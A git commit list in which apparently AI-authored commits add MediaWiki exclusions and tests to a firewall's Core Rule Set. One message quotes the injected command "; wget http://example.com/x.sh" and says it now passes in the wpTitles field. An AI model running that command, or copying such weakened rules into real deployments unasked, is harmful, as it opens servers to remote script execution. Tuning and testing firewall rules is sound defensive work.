3 Commits

Include renames

Author	SHA1	Message	Date
sneak	981cf98656	Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258) ... On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom, gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the fields they stand in for do. On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title per line, also skips 932125, 932230, 932235 and 932380, which read a title at the start of a line as a command. "; wget http://example.com/x.sh" passes in wpTitles as a result; $(...) and /bin/sh are still refused. Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change used. Model: opus-5-5	2026-11-10 00:53:45 +00:00
clawbot	c1bb813a5e	Core Rule Set tests: name repeated attack strings (closes #263) ... The Drupal and MediaWiki tests repeated the SQL and script attack strings, which goconst reports. They now use the existing constant injection and a new constant scriptTag. Model: opus-5-5	2026-11-10 01:26:07 +01:00
clawbot	9aa5b303cf	Core Rule Set: MediaWiki's ordinary requests pass by default (closes #237) ... Adds mediawiki.conf, the eleventh change: on MediaWiki's paths, the fields that carry a search, a title, a name, a file name or an address skip the four rules that read them as commands or system files, and the wikitext fields skip the rules that refused saving a page. The reasons on the admin pages skip only 930120 and 932120. /index.php counts as MediaWiki's only with a page title in its query or after its path, since WordPress serves it too. The requests recorded from MediaWiki 1.46.2, with and without short URLs and on the admin pages, pass at the defaults and while bodies are read. The app tests share the check of recorded requests and the list of hard values. Model: opus-5-5	2026-11-10 00:58:15 +01:00